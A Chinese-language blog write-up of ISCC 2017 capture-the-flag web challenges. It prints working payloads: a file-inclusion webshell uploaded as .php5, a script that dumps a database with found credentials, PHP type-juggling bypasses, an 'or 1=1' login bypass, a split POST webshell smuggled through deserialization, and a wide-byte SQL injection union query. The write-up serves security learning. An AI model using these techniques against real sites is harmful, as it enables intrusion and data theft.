MENU

ISCC 2017 WEB WP

WelcomeToMySQL

文件上传 .php5的后缀可以解析
但是上传一句话会没权限执行命令 这里应该用文件包含
上传的a.php5

<?php
$a = $_GET['a'];
include $a;
?>

包含下来的base.php

<?php
    $servername="localhost";
    $username="iscc2017";
    $password="iscc2017";
    $db="flag";
    $tb="flag";
?>

index.php

<?php
        if(isset($_FILES["file"])){
                if(preg_match("/\.php[2,3,4]$/",$_FILES["file"]["name"]))
                        echo '<script>alert("You are a good man")</script>';
                else if(preg_match("/\.php$/",$_FILES["file"]["name"]))
                        echo '<script>alert("You are a good man")</script>';
                else if(preg_match("/\.phtml$/",$_FILES["file"]["name"]))
                        echo '<script>alert("phtml does not work ")</script>';
                else if($file=$_FILES["file"]["tmp_name"]){
            move_uploaded_file($file, "/var/www/html/web-01/upload/".$_FILES["file"]["name"]);
                        echo "uploaded successfully!"."<br/>";
            echo '<!--$servername,$username,$password,$db,$tb were set in base.php-->';
                        echo "Your file stored in: "."upload/".$_FILES["file"]["name"];
                }
        }
?>
<html>
        <body>
                <form action="index.php" method="post" enctype="multipart/form-data">
                        file:<input type="file" name="file" /><br/>
                        <input type="submit" name="submit" value="upload" />
                </form>
        </body>
</html>

一时智障貌似没地方注 然后才发现为啥不能自己构造一个呢
新a.php5

<?php
$con = mysql_connect("localhost","iscc2017","iscc2017");
mysql_select_db("flag", $con);
$sql = "select * from flag";
$query = mysql_query($sql, $con);
$re = mysql_fetch_array($query);
var_dump($re);
?>

flag:Flag:{Iscc_1s_Fun_4nd_php_iS_Easy}

自相矛盾

代码审计

$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']); 

if(is_array($a)){
    is_numeric(@$a["bar1"])?die("nope"):NULL;
    if(@$a["bar1"]){
        ($a["bar1"]>2016)?$v1=1:NULL;
    }
    if(is_array(@$a["bar2"])){
        if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
        $pos = array_search("nudt", $a["bar2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["bar2"] as $key=>$val){
            $val==="nudt"?die("nope"):NULL;
        }
        $v2=1;

    }    
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
    if(!strcmp($c[1],$d) && $c[1]!==$d){
        
        eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
        strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
        
    }
    
}
if($v1 && $v2 && $v3){ 
   
   echo $flag;
}

payload:

iscc={"bar1":"2017e","bar2":[[1],1,2,3,0]}&cat[0]=00isccctf2017&cat[1][]=1111&dog=%00

flag:flag{sfklljljdstuaft}
说实在的 有点迷 本地测试没通过 交上去 就直接出flag了

Web签到题,来和我换flag啊!

真的无聊 纯粹脑洞
payload:hiddenflag=f1ag&flag=f1ag&FLAG=f1ag
flag:f1ag: {N0w_go1Odo!otherw3b}

我们一起来日站

robots.txt 获得一个路径21232f297a57a5a743894a0e4a801fc3/
然后加上admin.php看到了后台界面
无脑弱口令:username=admin'or 1=1#&password=admin' or 1=1#
flag:Flag:{ar32wefafafqw325t4rqfcafas}

I have a jpg,i upload a txt.

乍一看感觉没法上传什么东西 不过看到了serialize unserialize 意识到是肯定和反序列化有关
然后先着手改后缀名 结果被变化的凯撒加密卡住了 后来看了学长的脚本 才意识到可以反推
变化的凯撒加密脚本

import pycipher
def caesar(m):
    res = ''
    for i in range(len(m)):
        c = m[i:i+1]
        if c.isupper():
            res += pycipher.Caesar(6).encipher(c)
        elif c.islower():
            res += pycipher.Caesar(6).decipher(c).lower()
        else:
            res += c
    return res

然而并没有什么卵用 后缀改了 却传不了php 直接检查文本内容 真是蛋疼
最后发现把要传的内容拆开就可以了
第一部分:<
第二部分:?=$_POST['test'];
本来想把3个组合在一起 奈何发现 count($re2)==2 不过变化一下就可以了
本地测试:

<?php
$filetype = "php";
$filename1 = "48840824";
$filename2 = "413398857";
$filename3 = "1508747663";

#$c = array('1' => $filename1, '2' => $filename2);
#$a = base64_encode(serialize($c));
$a = base64_encode(serialize(array($filetype,$filename3)));
echo $a;
$b = unserialize(base64_decode($a));
var_dump($b);
foreach ($b as $key=>$value) {
    echo $key;
    echo $value;
}
?>

最终payload:

1.?do=rename&re=YToyOntpOjE7czo4OiI0ODg0MDgyNCI7aToyO3M6OToiNDEzMzk4ODU3Ijt9
2.?do=rename&re=EZisUhnjUdG7wtitUcPquNGcU2e6SZntUdKqUcOrTZG4TtW3TdEtOdn9

依次提交
flag:flag{54a5bd4fe6193580020487b56acff6c5}

where is your flag

神脑洞 index.php?id=1 注入题
宽字节注入 注意 #要手动转化为%23
字段数:2
数据库名:web_robots
表名:article,flag
字段名:id,thisisflag (由于单引号被转义 所以需要使用16进制 hex(flag) = 0x666c6167)
之后注flag碰到了个小问题 Illegal mix of collations (gbk_chinese_ci,IMPLICIT) and (latin1_swedish_ci,IMPLICIT) for operation 'UNION' 数据库字符集问题 换种方式就可以了
payload:

?id=-1 %df' union select 1,(select hex(thisisflag) from web_robots.flag) %23

flag:flag:{441b7fa1617307be9632263a4497871e}

总结一下吧

ISCC 感觉就是脑洞大赛 其他的没做 但是WEB 是真脑洞 其他的也不想说什么了

Tags: CTF
Archives QR Code
QR Code for this page
Tipping QR Code
Comment Lists
  1. hammer hammer

    您好,您的网站做的很不错,很漂亮,我已经收藏了,方便我随时访问.

Leave a Comment